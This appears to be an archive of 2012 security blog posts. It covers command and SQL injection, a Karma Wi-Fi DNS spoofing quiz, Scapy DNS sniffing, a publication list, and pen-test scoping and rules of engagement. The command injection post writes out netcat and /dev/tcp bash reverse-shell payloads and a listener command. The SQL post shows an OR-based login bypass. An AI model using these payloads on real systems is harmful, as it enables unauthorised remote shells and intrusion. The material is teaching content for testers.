Saturday, 28 July 2012

Command Injection

Command injection attacks against web servers (and esp. dynamic ones with a SQL backend) leverage the same attack vector as XSS. The aim differs however. A command injection is designed to send operating system commands along with user input in an attempt to get the system to run them. These commands typically run with the same privileges as the web server, which is why running the web server as root on a Unix/Linux system or with SYSTEM privileges on a Windows system is very risky.

Running the web server with limited privileges does not fully mitigate command injection vulnerabilities but does make it more difficult for the attacker. Also, chrooted web environments restrict what commands the attacker can access and run further.

When testing for command injection, ping is a very attractive command to use for many reasons:

  • Most operating systems have it by default
  • Runs with limited privileges
  • Many networks allow outbound ICMP Echo
  • Unlikely to damage the system
  • Will most likely not be noticed
  • The command is relatively short: “ping [ip address]” which helps if the buffer is limited
  • Verifies outbound connectivity back to the attacker
  • Validates command execution if the attacker cannot see the output of the commands

With respect to the last point above, the application involved may not print out the results of the commands in its response to the command injection. By injecting the ping command and using the attacker system’s IP address as its target, the attacker can verify that the command has been executed by watching for inbound ICMP echo requests to the system. This is called ‘Blind Injection’.

A network sniffer can be used to detect incoming ICMP ping traffic even if the system is set to ping a non-existent host.

The ping command does have a drawback. On a Unix/Linux system the command “ping [ip address]” will ping continuously until it is killed or the system reboots. This can leave many processes running on the target system. Using the “-c [N]” command line option will limit the number of pings sent. Windows by default sends 3 pings and exits, but can be instructed to send any number of pings using “-n [N]”.

The “killall ping” command may also work, but caution must be used. On Linux, “killall” will kill processes based on name, but on a Solaris system it will kill all processes and force a reboot of the system.

If netcat happens to be installed on the target system, its functionality can be invoked by blind injection as well to launch a reverse shell. First, start with invoking a netcat listener:

  • nc –n –v –l –p [port]

Assuming that netcat is located in /usr/local/bin; injecting the following into the vulnerable web application will create a reverse shell back to the attacker system running the listener:

  • Stuff; /usr/local/bin/nc [listener IP address] [port of listener] –e /bin/bash; echo hello

“Stuff” in this case is arbitrary data. “echo hello” should send “hello” to the listener on the attacker system, verifying that the reverse shell was successful.

There’s another interesting way to create a reverse shell without netcat being installed on the target system and works by redirecting data to/from the network using /dev/tcp or dev/udp. This works with most versions of linux, though Debian, Ubuntu, Knoppix and their variants have been compiled to disallow redirection to the network via /dev. To do this redirection, the command injected would have the form:

  • Stuff; /bin/bash –i /dev/tcp/[ip address of listener]/[port] 0<&1 2>&1; echo hello

“Stuff” is again arbitrary data. /bin/bash –i sets interactive mode, 0<&1 and 2>&1 sets standard input and output to/from the interactive shell. The “echo hello” will send “hello” back to the listener to validate that the reverse shell works.

In respect to SQL servers, SQL injection flaws can be used save injected commands into a database. With this combination of SQL injection and command injection, a database will then serve system commands up whenever a web page calls a compromised table.

Injection Flaws

OWASP lists Injection Flaws as one of the top 10 web vulnerabilities.

Injection flaws, particularly SQL injection, are common in web applications. Injection occurs when user-supplied data is sent to an interpreter as part of a command or query. The attacker's hostile data tricks the interpreter into executing unintended commands or changing data.

Attacking web applications using SQL Injection typically follows this process:

  • Find the SQL Injection flaw.
  • Determine the database type, in order to structure the correct database query syntax.
  • Determine the structure of the database.
  • Query data to gather sensitive information.
  • Execute commands in the underlying operating system if possible.

Tools such as sqlmap can automate some or all of these steps depending on the flaw and database functionality. It is important to know how the exploitation actually works as the automation functionality may miss or not properly exploit a flaw, resulting in a false negative. Additional tools that are available for discovering and analyzing SQL injections issues are the ZAP proxy, Burp Suite’s Intruder module, and the firefox extension “SQL Inject Me”.

SQL Injection

SQL injection is one of the most common attacks on the Web at the moment. The aim of this attack is to gather information from a database. A detailed description is located at: http://www.owasp.org/index.php/SQL_Injection

SQL injection errors transpire when developers allow data entry from untrusted sources and where the data can be used to dynamically construct a SQL query. The two main types of SQL injection attack include Passive SQL Injection (SQP) and Active SQL Injection (SQI).

The following sites are recommended to learn more about SQL injection.

SQL Injection has three primary goals:

  1. Accessing information,
  2. Destroying data, and
  3. Modifying data.

The goal of the attacker and the likelihood of each will vary dependent on the composition of the organization running the database. The most common form of SQL injection is through the addition of the SQL command, “OR 1=1” to an input field. The addition of this clause to the last part of a query may make the query true.

For example, with a query such as:

“SELECT * FROM users WHERE username = ‘administrator’ and password = ‘password’

An attacker could attempt to add ‘OR ‘’ = ‘ changing the SQL statement to:

“SELECT * FROM users WHERE username = ‘administrator’ and password = ‘password‘OR ‘’ = ‘

This could potentially allow the attacker to bypass the database authentication.

Some defenses include the following:

  • AVOID passing user input directly to command interpreters such as Perl, AWK, UNIX shells or SQL scripts and filter and protect all input.
  • FILTER user input for potentially dangerous characters prior to passing it to any command interpreters or databases.
  • Possibly dangerous characters include \n \r (.,/;~!)>|^&$`< .

Friday, 27 July 2012

Peer Reviewed Papers

2012 (I really need to update all of this)

  • Wright C (2012) “Hacktivism, terror and the state: The Importance of Effectively Enforcing Cyber Security Legislation.” National Security Australia 10 Au

2011

  • Wright, C (2011) “Who pays for a security violation? An assessment into the cost of lax security, negligence and risk, a glance into the looking glass.” ICBIFE, HK
  • Wright, C (2011) “Current issues and liability facing Internet Intermediaries.” ICBIFE, HK
  • Wright, C (2011) “Criminal Specialization as a corollary of Rational Choice.” ICBIFE, HK
  • Wright, C (2011) “Exploiting format Strings with Python” Hakin9
  • Wright, C (2011) “More Exploits with Python” Hakin9
  • Wright, C & Via, T (2011) “Modeling System Audit as a Sequential test with Discovery as a Failure Time Endpoint” ICBIFE, HK
  • Wright, C (2011) “A preamble into aligning Systems engineering and Information security risk measures” ICBIFE, HK
  • Wright C (2011)”Of Black Swans, Platypii and Bunyips. The outlier and normal incident in risk management.” CACS2011 Australia
  • Wright C (2011) & Zia, T ”Compliance or Security, what cost? (Poster)” ACISP, AU
  • Wright C (2011) “A comparative study of attacks against Corporate IIS and Apache Web Servers” Sans Technology Inst, USA
  • Wright C (2011) “Rationally Opting for the Insecure Alternative: Negative Externalities and the Selection of Security Controls” Republished and extended Paper, Sans Technology Inst, USA
  • Wright C (2011) “Rationally Opting for the Insecure Alternative: Negative Externalities and the Selection of Security Controls” Republished and extended Paper, Sans Technology Inst, USA
  • Wright C & Zia T (2011)”Rationally Opting for the Insecure Alternative: Negative Externalities and the Selection of Security Controls” CISIS Spain
  • Wright C & Zia T (2011)”A Quantitative Analysis into the Economics of Correcting Software Bugs” CISIS Spain

2010

  • Wright C (2010) “Software, Vendors and Reputation: an analysis of the dilemma in creating secure software” Intrust 2010 China
  • Wright C & Zia T (2010) “The Economics of Developing Security Embedded Software” SecAU Australia
  • Wright C (2010) “The not so Mythical IDS Man-Month: Or Brooks and the rule of information security” ISSRE USA
  • Wright C (2010) “Packer Analysis Report – Debugging and unpacking the NsPack 3.4 and 3.7 packer.” Sans Technology Inst, USA

2009

  • Wright C (2009) “Effective Patch Management - Saving Time and Getting Better Security” MISTI USA
  • Wright C (2009) “Database Auditing” Testing Experience, Germany
  • Wright C (2009) “SaaS Security” MISTI USA
  • CISecurity (Multiple) (2009) CIS BIND Benchmarks” Centre For Internet Security, USA

2008

  • Wright C, Kleiman D & Sundhar R.S. (2008) “Overwriting Hard Drive Data: The Great Wiping Controversy”Lecture Notes in Computer Science (Springer Berlin / Heidelberg)
  • Wright C (2008) “Detecting Hydan: Statistical Methods For Classifying The Use Of Hydan Based Stegonagraphy In Executable Files” Sans Technology Inst USA
  • Wright C (2008) “Using Neural Networks” Google
  • Wright C (2008) “Ensuring secure data transfer and data sharing” DQ Asia Pacific
  • Wright C (2008) “Record and Document Destruction in a Digital World” IT Security World, USA
  • Wright C (2008) “Managing Security in a Global Company” IT Security World, USA
  • Wright C (2008) “A Quick and Nasty overview of finding TrueCrypt Volumes” Sans Technology Institute
  • Wright C (2008) “Exploring Data Visualisation” Strategic Data Mining
  • Wright C (2008) “Statistical Methods to Determine the Authenticity of Data” CACS2008, Au
  • Wright C (2008) “Text Data Mining, the future of Digital Forensics” Hex Journal USA
  • Wright C (2008) “Compliance, law and Metrics: What you need to meet and how you prove it” SANS ACT
  • Wright C (2008) “Current Issues in DNS” Sans Technology Inst, USA
  • Wright C (2008) “Advanced Methods to Remotely Determine Application Versions” NS2008 LV, USA
  • Wright C (2008) “An in-depth review of the security features inherent in Firefox 3.0 Compared to IE 8.0” iDefense, USA

2007

  • Wright C (2007) “The Problem With Document Destruction” ITAudit, Vol 10. 10 Aug 2007, The IIA, USA
  • Wright C (2007) “Requirements for Record Keeping and Document Destruction in a Digital World” Sans Technology Inst, USA
  • Wright C (2007) “Electronic Contracting in an Insecure World” Sans Technology Inst, USA
  • Wright C (2007) “The Problem with Document Destruction” IRMA UK (Republished)
  • Wright C (2007) “Ethical Attacks miss the point!” System Control Journal ISACA
  • Wright C (2007) “Where Vulnerability Testing fails” System Control Journal ISACA
  • Wright C (2007) “Application, scope and limits of Letters of Indemnity in regards to the International Law of Trade” Internal Publication, BDO Aug 2007
  • Wright C (2007) “UCP 500, fizzle or bang” Internal Publication, BDO July 2007

2006

  • Wright C (2006) “Port Scanning A violation of Property rights” Hakin9
  • Wright C (2006) “A Taxonomy of Information Systems Audits, Assessments and Reviews” SANS Technology Inst USA
  • Wright C (2006) “RISK & Risk Management” 360 Security Summit AU
  • Wright C (2006) “A QUANTITATIVE TIME SERIES ANALYSIS OF MALWARE AND VULNERABILITY TRENDS” Ruxcon AU

2005

  • Wright C (2005) “Analysis of a serial based digital voice recorder” Published 2006 SANS Technology Inst USA
  • Wright C (2005) “Implementing an Information Security Management System (ISMS) Training process” SANS Darling Harbour AU
  • Wright C (2005) “Beyond Vulnerability Scans — Security Considerations for Auditors” ITAudit, The IIA, USA
  • Wright C (2005) “PCI Payment Card Industry Facts” Retail Industry journal, July 2005

2001

  • Multiple Authors (1999) “Windows NT Security Step by Step” SANS Technology Inst USA

2000

  • Ashbury A & Wright C (2000) “DNS Security in Australia” Net Security, June 2000.

1999

  • Wright C (1999) “A Comparative analysis of Firewalls” in “The Internet Hot Sheet” ATT Sept 1999

Mixed Karma

Last year I loaded a post on Wireless session hijacking in which I mentioned Karma.

This post answers my “Security question de jour"” for yesterday. This was:

A wireless client makes an association to a system that is running Karma.
The user of the associated system opens CMD.exe on their host and issues the command ‘nslookup
www.facebook.com’.
What is the IP address returned by this command?

What you need to learn from this in order to answer the question is that “Karma is a wireless attack tool that sniffs the wireless network looking for PNL probes so that it can impersonate an access point and attempts to associate with the wireless client.”

As Karma acts as a wireless hotspot and allows you to associate to it, it can the intercept the traffic and alter it. A part of this functionality is to impersonate the DNS resolution process. Karma’s DNS injection will resolve all requests for hostnames back to the system running Karma that you have now been associated with.

As such, the command, “nslookup www.facebook.com will return the IP address of the host running Karma and NOT that of Facebook.

 

An attacker can use this to inject malicious code or to create a Man-In-The-Middle (MitM) Attack (and more for that matter). One senari8o would be to have a proxy running of the Karma host that forwards all traffic but which also captures all usernames and password.

 

So the answer to the question, the IP address of the system running Karma.

Thursday, 26 July 2012

Security Question de jour

The question was asked:
What options can be passed to the sniff() function of SCAPY to capture DNS requests on interface eth1?

SCAPY is a valuable security testing tool in Python.

>>> sniff(filter="udp and port 53 ", count=10, iface="eth1", prn=lambda x: x.show())

A good place to learn is the interactive demo made available by the SCAPY coders:

http://www.secdev.org/projects/scapy/demo.html

And here is what we get:

image

If we wantted to, we can also limit the capture to a host or network, select both TCP and UDP for capture (as DNS does use TCP 53 as well) and much more.

So read the tutorial on the link above, start practicing and learn more Smile.

Tuesday, 24 July 2012

The rules and scope of a Pen test

Before doing anything else you need to get official, written permission to conduct the test, even if it is against targets in your own organization.

A sample memo can be found at http://www.counterhack.net/permission_memo.html.

To understand the differences between the rules of engagement and the scope of a pen test, we first need to understand what each of these are.

Rules of Engagement

Rules of Engagement, a set of practices that must be defined before a penetration test or ethical hacking project can begin. Both the people responsible for the target environment and the testing team must agree on these rules. Without proper Rules of Engagement agreed upon in advance, a penetration test or ethical hacking project could go seriously awry, resulting in devastating consequences for the target organization and the testers.

Basically put, the rules of engagement set the bounds on what a tester can and cannot do. In some military red team exercises, kidnapping personal is allowable practice. It is unlikely that this would be allowed in any corporate environment (and if it was the liability issues would lead to it not being repeated).

Having a set of rules and staying within these helps protect the testers from any legal repercussions that may occur when a server is inevitably crashed or damaged in some manner.

A carefully decided and agreed rules of engagement memo that is documented in advance is the testers safeguard. It is good practice to define the rules of engagement with the client before they devising a detailed scope of the test.

When this has occurred, the target organization can take the format and depth of the test that will be conducted into account and thus can make informed decisions about what is in and out of scope of the test.

It is also possible to define the scope before agreeing to rules of engagement. This involves the client and tester deciding on what is in and out of the scope of engagement and can then crafting the rules of engagement around the given test targets.

Scoping

The scoping process determines what should be tested and what should not be tested. In addition to determining individual target systems and networks, this scoping process will also look at some types of testing that may or may not be in scope.

To start out a scoping conversation, ask members of the target organization about their biggest security concerns. Determining the primary concerns up front can help narrow the focus of a test. Discuss threats, risks, and already-known vulnerabilities with the target organization’s representatives. It is vital to focus this conversation to determine exactly what needs to be tested. The last thing a tester wants is a blurry scope that could lead to scope creep. With scope creep, a misunderstanding of what should be tested leads the target organization to add more systems, target networks, target types, and types of testing to the test as it progresses, a dangerous and costly proposition for a tester.

One of the most important elements to include in the project scope is a succinct statement of what is to be tested. Spell out explicitly those domain names, network address ranges, individual hosts, and particular applications that are included in the test.

Also, if there are particularly sensitive elements of the organization that should not be tested, explicitly spell out that list of off-limits machines. If any third-party owned or managed systems are included in the scope, make sure to get written permission from these parties before the test begins. The target organization is responsible for getting this permission, and the testers are responsible for making sure the target organization does this.

Beyond what should be tested, the scope should specify the level of testing that should occur.

For instance:

  • Will the test merely be a network vulnerability scan for targets and vulnerabilities or should the testers go further and actually exploit the target systems, obtaining access the targets if possible?
  • If penetration is allowed, should it focus on listening network services, or will client-side software exploitation be allowed?
  • Will the test include any application-level or client-side web component testing?
  • What about physical attacks, social engineering or denial of service attacks?

The agreed Rules of Engagement should specify each element on this list that is included in the scope.

Either approach is acceptable:

  • Defining the rules of engagement first followed by scoping, or
  • Scoping the project first and then defining rules of engagement.

The important point is that both the rules of engagement and the scope are defined and agreed in advance of the start of the pen test.

Sow what is the difference?

Basically, the Rules of Engagement cover the How of the Pen Test.

The scope is depth and in particular, what is to be included within the Pen test. This is also extended to cover the type or form of test conducted.